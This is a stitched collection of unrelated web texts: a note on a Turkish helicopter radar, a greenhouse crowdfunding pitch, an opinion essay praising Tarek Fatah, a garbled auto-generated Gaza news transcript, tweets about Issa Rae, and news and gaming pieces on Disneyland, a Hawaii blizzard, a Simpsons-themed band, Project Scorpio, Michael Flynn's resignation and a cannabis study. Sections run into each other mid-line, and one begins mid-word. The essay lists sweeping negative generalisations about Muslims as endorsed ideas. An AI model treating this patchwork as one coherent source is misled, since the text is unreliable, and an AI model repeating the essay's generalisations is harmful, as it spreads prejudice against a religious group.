A mmW radar is an extremely high frequency (EHF) radar capable of transmitting radio waves from 30 to 300 GHz. Lower power requirements enable for relatively compact and lightweight radar suites, suitable for lightweight aircraft. The MİLDAR, like other mmW radars, can augment electro-optical and infrared (EO/IR) sensors in searching, identifying and engaging targets on land.
According to Anadolu Agency, the MİLDAR can detect multiple targets, target engagement and slow and fast scanning. It has a range of 12 km and is capable of also creating a terrain profile of up to 2.5 km.
Notes & Comments:
The MİLDAR aims to provide the T129 ATAK with analogous tracking and engagement capabilities to the AN/APG-78-equipped AN-64D/E Apache Longbow/Guardian. However, one of the marquee elements of the AN/APG-78 is its integration to the AGM-114L Longbow Hellfire anti-tank guided missile (ATGM). The Longbow Hellfire uses a mmW seeker that works with the AN/APG-78 to engage targets.
Roketsan would have to transition the UMTAS ATGM-series, which currently semi-active laser-homing or imaging infrared (IIR), to a mmW seeker to achieve a similar solution. An alternate route could be to data-link the MİLDAR to the UMTAS wherein the UMTAS receives location data from the MİLDAR until it is close enough to the target to switch to the terminal-stage IIR seeker.
Ideally, the MİLDAR would also be positioned from the T129’s top-rotor, as opposed to occupying wing or hardpoint stations on the side. Granted, several T129s could operate together, with one serving as a scout or radar-unit for the flight. However, in 2016 Meteksan stated (text in Turkish) that efforts were underway to ultimately configure the MİLDAR above the top-rotor.About
Hi, I'm Ronnie. My friend Maura and I are building an underground greenhouse, known as a walipini, out of a simple and resourceful construction method known as earthbag masonry. Our goal is to create a model for self-sufficiency and sustainability in northern Colorado, while also providing an inspirational space for the community to gather and share ideas. This project is designed to spread enthusiasm for permanent human culture, while providing us with a laboratory for the exploration of such concepts as compost heating, micro-cyclical resource logistics ("closed loops"), and polycultural nutrient dynamics.
Walipini is an Aymara word meaning “place of warmth.” Walipini underground greenhouses consist of a translucent plastic roofing for passive solar energy, earth walls to absorb and store heat (the flywheel effect), and gravel flooring for drainage. There are many claims out there that these greenhouses can be used to create a year-around growing environment. While we're not necessarily holding our breath for a subterranean tropical paradise, it is easy to see how this method can produce dramatic results.
Earthbag is one of the easiest, sturdiest, and cheapest forms of construction available. Earthbag has been touted as an ideal building method for regions prone to earthquakes, monsoons, and tornadoes, and is even a contender for moon colonization. The method is simple: fill grain bags with a mixture of dirt and a water, lay them in rows, and tamp for about a minute. Barbed wire is used to hold the rows together, and plaster is used to protect the surface of the wall from the elements. In a town with two dozen beer breweries, these bags shouldn’t be hard to come by, and the dirt will come right from the hole that we've dug.
Your money will go entirely to the building of the greenhouse. The majority will go directly into a hole in the ground (literally). The excavation was quoted at $450, but the tractor ran into what is known as a leach field pipe, which forced us to repair it and relocate the dig. The final cost for digging is about $1400. The other $600 will be used to purchase tampers, hammers, nails, UV poly film, pvc pipes, and possibly mirrors.
This could have been a $5000 "Let's build the most awesome walipini ever!" project, but the point is to make something that people can replicate using the smallest possible amount of money and effort (the two largest barriers against self-sufficient food production and home ownership). When we started the project, we set the budget for $1200, with each of us contributing $600. Unfortunately, the pipe issue has added $800 in unforeseen costs,causing us to extend the limit to $2000. For the campaign, I have added $500 to the goal to cover taxes and fees, as well as any unexpected costs. Any money beyond the $2500 mark will go to improvements on the farm, including an aquaponic system that we plan to install on the southern wall of the greenhouse.
Food, water, and shelter insecurity are three of the biggest issues facing all people on this planet. They constitute a harsh reality for the poor and an ongoing threat for those who are not currently poor. This project is all about developing sustainability and resiliency in regards to our relationship to these three vital needs. If the future of our planet and its people is important to you, then please contribute whatever you can. We gratefully accept donations of all forms of capital, as well as those things that can't be bought. :)When I first heard Tarek Fatah, it was purely by chance. I was browsing around looking for some material on ISIS when I just chanced by a video which happened to be on Pakistan.
Many things that had baffled people regarding Pakistan’s strange behaviour suddenly began to demystify. It also helped that this came in the wake of two scholarly accounts about the Pakistani mindset. One on the Pakistan military by Christine Fair and another on the general attitude of Pakistan and the impact of two nation theory on its psyche by Hussain Haqqani.
While the two books had analysed the strange and seemingly medieval behaviour of our neighbour in a modern idiom, Tarek Fatah seemed to address it in terms one had heard in one’s immediate environment, in a language which one had used as a child. It struck a chord with Indians.
Till that point the term ‘Islamic State’ had appeared to most Indians as an abstract idea of some foolhardy religious zealots who had strayed from the path of reason.
As a matter of fact, the Islamic State’s description as “neither Islamic, nor a State” was entirely reasonable to most people who had never been exposed to the core doctrines of Islam.
I had once read a piece by an Iraqi moderate cleric who had made a forceful argument about ISIS being totally Islamic and the American attempt to wed democracy with Islam in Iraq being totally foreign to Sharia.
As a matter of fact, most people do not have a full understanding of what Sharia even means. They only have a faint idea of the political nature of the ancient Shia-Sunni dispute, but not much beyond that.
This is the nature of history that we read in our text books which teach nothing about the ideology which brought forth the Islamic invaders from the western borders of India.
I had history as an optional in the Civil Services Exam. We were told at that time that in order to get good marks, it was important to have Romila Thapar, Satish Chandra and Irfan Habib as the reference points to our history. As naïve students in the quest of good marks, all history students used to make it dè rigeur to do just that. I too, did that and it is that reference point of our history that has stayed with me, so one can only imagine what the level of learning most ordinary people would have in India about our history.
It is only after the Islamic State came along that Indians developed a real curiosity to delve deeper into their thought process. It is also true that the Civil Servants like me presently sitting at the top of the pyramid have all been exposed to that selfsame ecosystem in which Mainstream and Seminar were compulsory readings to get through the General Studies paper, and the JNU style of writing answers gave one a higher probability of scoring high in our papers.
In this sanitised version of our own history, we never learnt about the ideology of jihad. Irfan Habib instead told us that Aurangzeb’s act of destroying temples was nothing unusual. It was just a highhanded way of most monarchs, and not an evidence of bigotry.
Nobody told us about Sitaram Goel, and even RC Majumdar and Jadunath Sarkar were not relevant as the socialistic point of view of writing history was the norm back then. In this sanitised version of India’s history, there was little room for knowing the deeper recesses of jihadist ideology taught by Sharia.
There was no mention of Shah Waliullah or Sarmad, nor was there any mention of what actuated the savage behaviour of Aurangzeb. Guru Tegh Bahadur’s execution was explained away as an act of expansionism.
Yet, when one discussed these events among the people in villages, their impressions were totally at variance with this version of history. This is the version of history that most people sitting in decision making capacities have imbibed. Myself included.
And then one fine day, Tarek Fatah happened. Yes, he just happened. Being active on Twitter, I came across a retweet which had a video of Tarek Fatah in which he explained Pakistan like no one had before.
The two nation theory, which one had read during one’s growing up years, was explained in such a lucid manner that one had to go back to check the books from one had learnt it three decades back.
I had always thought of Allama Iqbal as a great man. Tarek Fatah brought in new light. The way he explained Mohammed Ali Jinnah, no one had done before. So it was a whole new vista.
Shortly afterwards, Tarek Fatah visited India, where his book “Chasing a Mirage – The Tragic Illusion of An Islamic State’ was launched, and he went about his then seemingly crazy idea of renaming Aurangzeb Road as Dara Shikoh Road.
Besides, he did many things which Indians had fought shy of doing for the fear of being dubbed as politically incorrect. He mocked the Indian Communists, praised Indian civilisation as his own. He showed a mirror to the excesses of ideology which, in his opinion, had rendered Pakistan an unworkable nation.
Tarek has his own inimitable imagery which may surprise many as his basic ideology is that of Leftism. This gives him a perspective of Islam and Pakistan which is markedly different from most intellectuals specialising in Pakistan.
His views on the essential unity of Indian civilisation irrespective of religion have a very strong people-centric flavour. Pakistan to him is an artificial construct. Sharia to him is a fake law created by those who appropriated Mohammad’s legacy.
He brings out the dichotomy of Islam in the two books he has authored on Islam, “Tragic Illusion of an Islamic State”, and “The Jew is Not My Enemy”. He is now working on a third book “The Hindu is Not My Enemy.”
The purpose of this article is not to chronicle Tarek Fatah. You can see most of his books, articles speeches and interviews on his website tarekfatah.com and on his twitter handle @tarekfatah.
What he has done is that he has fired the imagination of India and Indians in a manner no one has done before. He has brought an intellectual heft to ideas that most had an inkling of but did not know how to articulate clearly.
Many others like IndiaFacts columnist Tufail Ahmad and myself were encouraged by his example to speak clearly about jihadism, sharia, ideology of Pakistan, ISIS, hypocrisy of Islamists in the West, and a host of other related issues.
Fatah also brought in a new vigour in support of bravehearts like Taslima Nasreen who had almost been consigned to the back recesses of memory by the Indian intelligentsia.
It was in his gathering that one got to hear Arif Mohammed Khan once again. Tarekh Fatah created a constituency within India who found their doubts clarified and thousands who found in him an echo of their thoughts. He spoke of the reasons which actuate Pakistan establishment and its role in propping up the global terror infrastructure.
People also found a person who spoke of the atrocities of Pakistani establishment on Balochis and Bengalis, and who openly called for the dismemberment of Pakistan. He also minced no words when berating Indians for what he terms as racism of skin colour.
It’s helpful to recount some of his ideas which are highly liked by Indians. In fact, he wrote in the preface to his seminal work “Chasing a Mirage” that he was recounting those portions of Islam which remain hidden from Muslims.
Indian Muslims have little idea of the Arabian ancestry to which their clerics bind them as 99% of them are converts from Hindus. Of the others in India, I am sure they have absolutely no idea in spite of having suffered the trauma of the partition.
The real causes of the partition which lay in the ideology of jihad and ummah propagated by Allama Iqbal were sanitised from the history taught to us in the post independence period.
In no particular, here are the highlights of Tarek Fatah’s ideas which have captured a broad audience.
The concept of equality in Islam died the day Prophet Mohammad died
Islam was hijacked by the enemies of Mohammad soon after his death, i.e. by the Ummayads who were sons of Abu Sufiyan, Mohammad’s challenger in the Quraysh sub clan of Banu Umayya
Hadiths and Sira were invented by the Ummayads and Abbasids nearly 100 to 400 years after the death of Mohammed, and were meant to subjugate the masses to the ruler who also styled himself as the Caliph
Islam had a certain catholicity and concepts of equality and socialism which were completely obliterated later, due to a conspiracy of the ruling classes and the clerics
No merit attaches to those who sought out and systemically killed off all descendants of Mohammad
Bin Qasim was sent to kill the progenies of Mohammad who were given shelter by Raja Dahir of Sindh
The Muslim invaders were savages out to destroy the superior civilisation of India which dates back to Mohen-jo-Daro
The ideology of Pakistan was propagated by Allama Iqbal who went from Qaumi Tarana (Sare jahan se achchha) to Milli Tarana (concept of Ummah – Cheeno Arab Hamara, Sara Jahan Hamara) in a space of 11 years because of his jealousy of Rabindranath Tagore. Tagore got the Nobel Prize. However, Iqbal thought he was worthier than Tagore
India is a civilizational concept which cannot be alienated from the two great rivers Indus and Ganges, both of which were lost to India after partition – Indus was largely lost and the delta of Ganges was lost
The Hindus and Muslims have to live together in this land, but Pakistan will dismember as it is an artificial construct
Pakistan sought to impose an alien culture over the native cultures of Punjabis, Pashtuns, Balochs, Sindhis and Bengalis which resulted in the loss of East Pakistan, and will lead to all others breaking away from Punjab
Pakistan as we knew it is no more. It split into Bangladesh in 1971 which happened to have the majority of its population at that time
The ideal of Indian Muslims should be Dara Shikoh and not Aurangzeb or any other invader
India should support Balochis in their national struggle
Muslim clerics are hypocrites and secretly support the concept of armed jihad and sharia law
Muslims deliberately provoke others in the name of their religion. The early morning Azaan using loudspeakers is a prime example.
Riots in India mostly happen when limits of tolerance are crossed due to these sustained provocations over long periods. Gujarat riots were a reaction to such provocations
Unless Muslims renounce the concept of armed jihad and sharia law, they will never be trusted by anyone
Hijab and burqa are medieval chains which must be discarded
Concepts of apostasy and blasphemy are an assault on the modern values of critical inquiry and scientific thought
Muslims in democracies should stop rooting for a so called divine law like sharia which cannot be amended and instead place their faith in man made laws
India is the guiding beacon of civilisation to the entire world which Indians themselves don’t realise
India should be more proactive in assuming a greater role in world affairs
Talks with Pakistan are useless. Being a Jihadist State, it will always seek to undermine India. Their dream is to capture all of Indian sub-continent, not just Kashmir.
One can go on and on. The important observation is that Tarek Fatah has ignited a debate over topics which were hitherto hush-hush in India.
For the first time, we find anchors hosting shows on sensitive topics like Sharia Law and Indian Muslim women with people like Tarek Fatah and Tufail Ahmad finding a place in a media space reserved for fundamentalists like Kamal Faruqi and sundry clerics, and sometimes spiced up by crypto-moderates like Shahid Siddiqui.
It’s only over last one year or so that voices have started criticising regressive practices of Islam, something that was considered taboo. It is only now that scholarly works of Koenrad Elst, Sitaram Goel and many forgotten sentries of Indian nationalism have started coming to the fore. Some of it can be ascribed to the rightist revival, but the biggest catalyst to this effort has been Tarek Fatah.
Hats Off!Transcript for Children Killed When Strike Hits Gaza's Main Hospital
This building is the Morgan Shifa Hospital -- they've just part in people who were killed. In an attack on a neighborhood park we were actually there earlier today children playing in the street at least eight bodies possibly more. We we -- be able we will be able we got ridiculous Bob will be -- -- -- Us. This bill and browse others you want to -- you know not I want not exposed them all dual all right good on you being. Where -- hit over here. -- -- -- -- -- Excuse me. Okay. Okay. -- -- -- Parents of a child was killed in this attack are taking home. For burial soon. Whatever the intended target may have been this is yet another catastrophe. An attack on children of one of the holiest days of the Muslim year for these Palestinians it's more than just an outrage. It's a call to arms.
This transcript has been automatically generated and may not be 100% accurate.Imagine how badly the shiznit would hit the fan if a white actress said this:
But instead said she was ‘rooting for everybody white.’
The actress would be called a racist, there would be protests in the streets, buildings burned down … whatever show the actress was on would likely be canceled and she would be fired.
Insecure star, that’s cute, Variety.
If a white woman is not allowed to say this, then surely this woman should NOT be allowed to say this?! Get over your skin color Issa! https://t.co/AGBBkPRy3H — Obianuju Ekeocha (@obianuju) September 18, 2017
Bam!
doesn't get anymore racist than that folks — chrissy smith (@chrissy37747741) September 17, 2017
Not really, nope.
I'm all for my people but when I say "my people" I mean All people. I have too many races represented in my family to be bias pic.twitter.com/c0sCtkMnHR — Valencia M. (@ValenciM2) September 18, 2017
When did people forget the main race is the HUMAN race?
@IssaRae would have lost her damn mind if a white woman came up to the mic and said I'm rooting for everybody white. #BlackSupremacist —? Dan Adams (@DanAdamsShow) September 18, 2017
It’s all we’d be hearing about today, the evil racist actress who dared say she was rooting for everybody white.
Weird world we live in these days, eh?
Is there a better example of privilege in America today than to be an openly racist black person like this? —? Brian'24? (@applecharlie5) September 18, 2017
So, she's racist. Lovely. — John Doiron (@jfd1965) September 18 |
i Brown said in a statement. "A ticket to our theme parks represents a great value, particularly when you look at the breadth and quality of attractions and entertainment we offer and the special moments guests experience with our cast."
The cost for the Southern California Select, Deluxe, Premium and Premier annual passes went up by $10 to $50. The park suspended the sales of its Southern California annual pass to control the growing crowds.
"At this time, the Southern California Annual Pass will be available for on-time renewals only," Brown said.
The resort said it expects to reopen sales of the Southern California pass at a later date.HAWAII – The National Weather Service in Honolulu has issued a Blizzard Warning for Big Island summits above the 11,000 feet elevation. The new warning, in effect until 6 a.m. HST Thursday, replaces the Winter
Storm Warning previously in effect.
A Blizzard Warning means “severe winter weather conditions are expected or occurring,” forecasters exlpain. “Falling and blowing snow with strong winds and poor visibilities are likely. This will lead to whiteout conditions, making travel extremely dangerous. Do not travel. If you must travel, have a winter survival kit with you. If you get stranded, stay with your vehicle.”
New snowfall amounts of 6 to 10 inches are expected for the tops of Mauna Kea and Mauna Loa, with locally higher amounts. The summits of both mountains are currently closed to travelers.
Severe thunderstorms are impacting the entire state this morning. Oahu and Kauai are both under a Flash Flood Warning as of 7 a.m., and all islands are under a Flash Flood Watch.
The Big Island is also being impacted at lower elevations. This morning, the Hawaii County Police Department reported Highway 11 near mm 93 in South Kona was closed due to fallen trees caused by high winds. Expect delays.The world is filled with visionaries who made a difference.
Steve Jobs created a digital marketplace for music. Dr. Dre launched a hip-hop empire. Al Gore created the Internet.
And then, there's Okilly Dokilly, the world's first and only Ned Flanders-themed metal band, based on the Simpsons character so friendly you can't help but hate him.
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Launched by five green-sweatered, pink-collared dudes with varying degrees of mustache, Okilly Dokilly has taken the Internet by storm with such Flanders-themed tracks such as "Nothing at All" (from Ned's infamous ski suit) and "All That is Left," a nod to Flanders' doomed business selling accessories for southpaws, The Leftorium.
The band members include Head Ned (vocals), Red Ned (keytar), Thread Ned (bass), Stead Ned (guitar), and Bled Ned (drums). The band has released four tracks so far, and they're surprisingly well put-together for a novelty act about a Simpsons side character. Listen to them here. The band's first show is scheduled for September 5 at Trunk Space, and Man-Cat, Hug of War, and Andy Warpigs are slated to join them.
The band posted the music on Monday, and the response has been rapid. The band's publicity photo skyrocketed to the top of Reddit, and the band's music has gone viral. According to Head Ned — the Flanders front-and-center of the picture at the top of this post — the attention was totally unexpected. The idea came to Head Ned and Bled Ned while they waited in line at a grocery store, coming up with cutesy names for death metal bands. One of them suggested "Okilly Dokilly," and the rest flowed like a Squishie into a cup from there.
They headed back to Head Ned's house — the "Nedquarters" — and began writing.
The result is Nedal — an new entry into the hardcore Simpscene.
"It's not as fast as Bartcore, but not as dirty as Krusty punk," Head Ned says, in all seriousness.We are mere hours away from Microsoft taking the wraps off Project Scorpio at the firm's E3 2017 media briefing. We'll find out what it's called, we'll see final hardware, and hopefully we'll be told how much it costs. But the big story will be software and the continuing transition of console gaming to 4K displays. Comparisons with PS4 Pro are inevitable, with Microsoft promising the best versions of the top games. But if the arrival of Scorpio sounds like bad news for the Pro, we beg to differ - another 4K games console on the market can only be a good thing.
The bottom line is this: game development is primarily cross-platform in nature, and for the last six months, PlayStation 4 Pro has been in a class of its own. That's a good thing for Sony in carving out a niche in the marketplace, but not so good for developers, uncertain of how much in the way of resources they should invest into 4K gaming. The result has been a lack of consistency in the quality of Pro support, with only a minority of titles really pushing the boat out in pursuit of a top-tier 4K experience. Put simply, Pro users can buy a new game and never quite know to what extent the enhanced hardware will be utilised - if it's used at all.
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And let's be clear - 4K done right is simply glorious. We've seen it this week with the excellent WipEout Omega Collection, while Guerrilla Games' Horizon Zero Dawn is a breathtaking ultra HD experience. In fact, there are a big bunch of beautiful 4K games on PS4 Pro: Rise of the Tomb Raider, Ratchet and Clank, Resogun, COD Infinite Warfare and Thumper, for example. The Gran Turismo Sport beta also promises great things.
But there are disappointments too. Despite retail box labelling to the contrary, Bethesda's Prey launched with no PS4 Pro support at all and when the upgrades did arrive, they looked fairly subtle. Tekken 7 brings 1080p resolution, improved texture filtering and minor effects upgrades. It's nicer than the same game running on base hardware, but not to the extent that makes a console upgrade justifiable. And it's the same with Dirt 4, released this week. It's still 1080p, but with improved anti-aliasing and other, less obvious visual boosts. Again, given the choice, we'd play all of these titles on Pro, but these kinds of upgrades aren't really what we were promised when the hardware was announced to much fanfare last September. It's more akin to the kind of boost you get when moving up a rung on the PC graphics card ladder.
And then there's the bafflingly long list of Pro titles that up-res the existing PlayStation 4 versions to 1440p, sometimes with smaller graphics upgrades. Injustice 2, Outlast 2, Dishonored 2, Ghost Recon Wildlands, Fallout 4, Titanfall 2, Firewatch - the list is extensive and even includes the mighty Uncharted 4. All of them offer clear visual improvements on a 4K screen - and techniques like Naughty Dog's temporal anti-aliasing solution can make a big difference - but fundamentally, judged in terms of the numbers alone, we are looking at the equivalent of a 720p presentation running on a 1080p screen, scaled up for the 4K display era.
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Based on the range of Pro titles we've tested, it's becoming difficult to avoid the conclusion that Sony's preferred'smart rendering' solutions for 4K aren't getting anything like the universal take-up we would have hoped for. There's the sense that the easiest route forward for developers is to ramp up resolution until frame-rate stumbles, or else to import some higher quality visual effects from the PC versions. The user gets extra value, but equally, we're left with the feeling that we should've got more, that somehow the Pro is being sold short.
Before writing off 1440p though, we'd urge Pro owners to check out Ubisoft's For Honor. Base resolution is indeed at the QHD level, but whatever temporal sampling approach the developers are using here is simply exceptional, to the point where the presentation compares highly favourable with the same content running on PC at native 4K. But this is another example of'smart' rendering techniques that clearly involve more developer resources. And the same goes for high dynamic range support. To be fair, PS4 Pro has by far the biggest HDR library, but overall support is still spotty - despite most titles internally operating with high dynamic range graphics pipelines.
All of which brings us onto Project Scorpio and the mutually beneficial effects we hope it will have. In the cross-platform development era, the arrival of a new Xbox can only have good things for more comprehensive 4K support, no matter which console you choose to own. More machines on the market aimed at ultra HD displays means that there's more of a financial incentive for developers to support them with more ambitious features. The volume of native 1440p titles on Pro may suggest a basic system limit on what the GPU is capable of, but we can get some idea of a potential way forward by looking at the work of EA's Frostbite team. An excellent HDR implementation debuted in Mass Effect Andromeda, but it's just one part of an engine upgrade deployed first on PS4 Pro, but likely to feature on Scorpio too.
Mass Effect targets checkerboard 1800p, which is then upscaled to 4K. Many elements of the presentation resolve at a native 1600x1800, before going through the checkerboarding process to 3200x1800. The raw numbers here are eye-opening in that 1600x1800 is just 78 per cent of 1440p's pixel count. And yet, as you can see from the Mass Effect comparison on this page, the 1800p presentation manages to compare favourably to the full-fat 4K output from PC. In fact, it's the quality settings elsewhere in the engine that show more differences as opposed to the core rendering resolution - post-processing, texture quality and terrain detail, for example.
The Frostbite team's PS4 Pro checkerboarding presentation talks about base PS4 and less specific 'Xbox' support for future work - and changes will be required as both consoles lack the Pro's specific, targeted hardware for checkerboarding support. Chances are we'll see more native 4K games on Scorpio in the fullness of time (it is the more powerful console overall, after all) but based on developer documentation we've seen, checkerboarding is a good fit for Microsoft's new machine. Especially for Xbox One titles operating at 900p (or with dynamic scalers, like Battlefield 1), checkerboarding allows for more GPU power to be thrown at the sophistication of the rendered image, as opposed to raw pixel count.
Internal Scorpio developer documentation we've seen describes how well Microsoft's console manages to run the most basic of ports of key Xbox One titles. The names of the games aren't specifically mentioned, but one example stands out - it's described as a 60fps first-person shooter that has shipped using the DX12 API, running on a proprietary engine and rendering at 720p resolution. By a process of elimination, this sounds like Star Wars Battlefront - a Frostbite title - and the data is fascinating. Based on GPU performance alone - CPU isn't included in the data - the unoptimised Scorpio port running at the same resolution could hit 120 frames per second. But at native 4K, it's only 36-40fps.
That kind of scalability is still impressive but the thing to stress here is that the docs are describing the most basic of rough ports, and a conversion process that disadvantages Scorpio hardware. For example, Xbox One's ESRAM is now mapped into Scorpio's unified pool of GDDR5, meaning lots of hugely unnecessary read/writes between memory that would be stripped out in Scorpio-specific code. But the point remains that it's a good example of a title that stands to benefit immensely from using checkerboarding techniques. On top of that, the Frostbite-driven Battlefield 1 demonstrates how well that can merge with other great'smart' rendering techniques, including dynamic resolution and temporal anti-aliasing - as seen in the PS4 Pro version. Again, it just makes sense for these techniques to roll out onto Scorpio too.
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So, if the future is perhaps 1800p on Pro and 4K on Scorpio for the most demanding third party engines - checkerboard or not - it's not difficult to imagine other developers deploying more resources to match the kind of results seen in Frostbite. And an 1800p/4K divide between the two consoles will likely prove perfectly serviceable - 900p/1080p wasn't that bad in practise with current-gen hardware, and the difference is subtler scaled up to the vast 8.3m pixel canvas of today's UHD panels. We have a feeling it'll be other aspects that will prove more divisive - improved texture quality on Scorpio, for example, owing to its larger memory allocation.
But the volume of evidence so far in terms of shipping titles suggests that '4K done right' with smart rendering techniques perhaps isn't as simple as Sony initially thought. It needs time, effort and iteration - our interview with Housemarque on its excellent Resogun 4K implementation is worth a read. Early Pro 4K implementations saw just one or two developers working on the upgrades - Housemarque deployed a team of engineers working for several months.
That kind of investment in time and effort is more likely to happen with more 4K machines in users' homes, but it also helps if there are more UHD screens in place too. The good news is that 4K TVs will significantly outsell 1080p screens this year, and by next year, we suspect it'll be hard to find standard HD displays in stores in any great volume. But for those who hold onto their 1080p screens, we expect to see a greater level of super-sampling support going forward - something that remains patchy on PS4 Pro. Downsampling is incorporated on all higher resolution Scorpio titles, which in turn, is more likely to drive feature parity on Pro.
Clearly, the focus will be on the Project Scorpio reveal this weekend. Native, true 4K gaming will take centre stage. The next Forza Motorsport hasn't been revealed yet, but it would be massively surprising if a full 4K presentation on Scorpio isn't a part of the proceedings, based on what we saw during our visit to Turn 10. We've no further insider knowledge to share, aside from the fact that Microsoft's developer presentations corroborate what the firm told us when we lifted the lid on Scorpio's hardware spec. Factor in that the firm has been shipping PC versions of its titles with 4K assets since Gears of War Ultimate Edition, released in August 2015, and we suspect it's not a case of whether the new console can handle 4K gaming - it's more of a case of how many Scorpio-enhanced 4K titles it already has in the bag.Retired Lt. Gen. Michael Flynn speaks at the Republican National Convention last year in Cleveland. (Alex Wong/Getty Images)
The Trump administration’s national security leadership was thrown into disarray Monday when retired Lt. Gen. Michael Flynn resigned under pressure after less than a month on the job. Flynn will go down as the national security adviser with the shortest tenure in modern history, and his resignation is the end of his remarkable comeback story.
Flynn’s departure will have ripple effects throughout Washington and the international community, and its long-term impact on the Trump administration’s foreign policy will take time to play out. In the short term, here are some of the early winners and losers.
Winners:
White House chief strategist Stephen Bannon — Inside the White House, officials describe the dynamic not as a team of rivals, but as rival teams. Bannon has been busily assembling a formidable policy team of his own, called the Strategic Initiatives Group, that was already shaping up as a competitor to Flynn’s National Security Council staff. Bannon is also known to have a keen interest in major national security issues including Asia policy, the rebuilding of the military and cooperation with European parties that share his populist, nationalist ideology. Bannon is a permanent member of the National Security Council and will attend all Principal Committee meetings. The New York Times reported that Bannon was pushing for Flynn’s resignation since Friday. Bannon is well positioned to fill the influence vacuum on national security created by Flynn’s sudden departure.
Defense Secretary James Mattis — The highly anticipated coming power struggle between the four-star Pentagon chief and the three-star national security adviser has now been overtaken by events. The two had differing views on key issues, including Russia and the Iran deal. Mattis and Flynn already had some disagreements over who would get key positions in the Pentagon and the defense intelligence community. The Washington Post is reporting that Vice Adm. Robert Harward, a former deputy to Mattis at U.S. Central Command, is the leading candidate to replace Flynn. Working together, they could speed up the filling-out of the national security senior leadership and align the White House and Defense Department in a uniquely efficient way.
The intelligence community — There’s no doubt that large parts of the intelligence community are breathing a sigh of relief today. Flynn, who spent three decades as a top intelligence officer, certainly had allies there and even stacked his NSC staff with many of his intel buddies. But Flynn’s career in the intelligence community was controversial. He was dismissed during the Obama administration from his job as Defense Intelligence Agency director amid accusations of mismanagement. Flynn had strong ideas about reorganizing the CIA and the Office of the Director of National Intelligence that bureaucrats in those agencies might not have agreed with. There are anecdotal reports of senior intelligence officers withholding information from the White House out of concern about ties with the Kremlin. Now members of the intelligence community don’t have to worry about what Flynn means for them.
Russia hawks — Throughout the campaign, President Trump declined to criticized the Russian government and as recently as last month indicated that he was seeking a deal to remove at least some of the sanctions on Russia. Congressional action to prevent that from happening could now be strengthened. Ongoing investigations into Russian meddling in the presidential election should get more support. Lawmakers are already calling for expanded inquiries into Flynn’s Russia ties specifically. It’s no coincidence that Russian lawmakers are already flocking to Flynn’s defense. Trump’s effort to improve U.S. relations with Moscow will be under the microscope going forward. Republicans who believe Russia must stay an adversary and Democrats who are now politically motivated to demonize the Kremlin have new fodder that they can use for a long time.
Congressional Democrats — Democrats set their sights on Flynn early because of his highly political tone during the campaign and his calls to “Lock her up.” In recent days, House Minority Leader Nancy Pelosi (Calif.) and House Intelligence Committee ranking Democrat Adam Schiff (Calif.) led the charge calling for Flynn to go. Now that it has been shown there is a level of pressure the White House will respond to, Democrats have incentive to use this tactic again in the future.
The Syrian opposition — Internally, Flynn and his staff were the drivers behind a policy review that was seeking ways to partner with Russia to fight terrorism in Syria, something Trump has often speculated about. The president won’t give up on that idea, but the planning will now face a delay at least. Flynn was a major interlocutor with the Russians on this issue. The Pentagon has long opposed cooperating with the Russian military on a large scale. The Syrian opposition, which is dreading a joint U.S.-Russian military mission that might not discriminate between them and extremists, just got a temporary reprieve.
Fethullah Gülen — Flynn was the leading voice inside the Trump administration advocating for extraditing the Turkish religious figure, who is living in exile in rural Pennsylvania. The day of the election, Flynn wrote an op-ed likening Gülen’s movement to a “dangerous sleeper terror network.” Flynn’s consulting firm had as a client a Turkish billionaire who is close to Turkish President Recep Tayyip Erdogan, who has demanded the United States hand over Gülen. Gülen’s ability to stay in the United States looks a lot more secure now.
Vice President Pence — Nobody in the Trump administration is going to give Pence anything but the entire truth for a very long time.
Losers:
Vladimir Putin — The Russian president and his government spent a lot of time investing in their relationship with Flynn. Putin and Flynn sat next to each other at a dinner in Moscow in 2015. Flynn later revealed he took money to speak at the event, which was hosted by the Russian state propaganda outlet RT. Flynn’s calls with Russian Ambassador Sergey Kislyak were a key channel between Trump and Putin. Putin just lost his greatest point of access inside the White House.
The NSC staff — Flynn had assembled a team of mostly former military intelligence officials who have known him for decades and surely believed they were going to work for him for more than three weeks. The New York Times reports that Flynn’s deputy, K.T. McFarland, may not stay at the National Security Council when Flynn’s permanent replacement is found. Flynn ally retired Lt. Gen. Keith Kellogg, if not chosen as that replacement, could also go. That leaves dozens of career professionals still working in the White House with no clear leadership or direction. The traditional role of the NSC staff as the coordinator of the interagency national security policy process will also be delayed until new leadership is in place.
White House Chief of Staff Reince Priebus — The handling of the Flynn episode played out chaotically in real time, with top White House officials giving seemingly contradictory statements about Flynn’s status within an hour of each other on Monday afternoon. The White House also now faces questions about its handling of information given to White House counsel Donald McGahn by the Justice Department weeks ago expressing concerns that Flynn was vulnerable to Russian blackmail. Priebus was already facing criticism about his performance as chief of staff and now must defend the White House’s handling of the Flynn episode while still consolidating his own power.
Kim Jong Un — The North Korean leader’s tempter-tantrum missile launch has been bumped right off of the front page, depriving the young leader of some its intended effect.
Michael Flynn — “Washington, D.C. can be a rough town for honorable people,” said House Intelligence Committee Chairman Devin Nunes (R-Calif). Flynn made a long-odds bet last year on a candidate nobody expected to win. For Flynn, it was a remarkable comeback story after his three-decade career of military service was interrupted at its pinnacle. He took a huge risk, was loyal to Trump, earned the future president’s trust and secured a position of huge power and influence with extensive plans on how to use it. Now, Flynn is just the latest official to get churned up and tossed out of Trump’s world.Photographee.eu - stock.adobe.com
Atlanta – Der regelmäßige Konsum der Cannabisdroge, die kurzfristig Herzfrequenz und Blutdruck steigert, könnte langfristig das Sterberisiko durch Herz-Kreislauf-Erkrankungen erhöhen. Eine Studie im European Journal of Preventive Cardiology (2017; doi: 10.1177/2047487317723212) ermittelt eine erhöhte Zahl von Todesfällen infolge einer arteriellen Hypertonie. Die Aussagekraft der Studie ist jedoch begrenzt.
Im Gegensatz zum Tabakrauchen sind die Folgen eines langjährigen Cannabiskonsums wenig erforscht. Das Rauchen von Marihuana hat, vermutlich vermittelt durch die Droge THC, akute Auswirkungen auf den Kreislauf. Blutdruck (im Liegen) und Herzfrequenz steigen an. Da sich gleichzeitig die peripheren Blutgefäße erweitern, kann es nach dem Aufrichten zum Kollaps infolge einer orthostatischen Hypotension kommen, was bei den zumeist jüngeren Konsumenten jedoch selten zu gefährlichen Situationen führt. Tödliche Komplikationen scheinen selten zu sein.
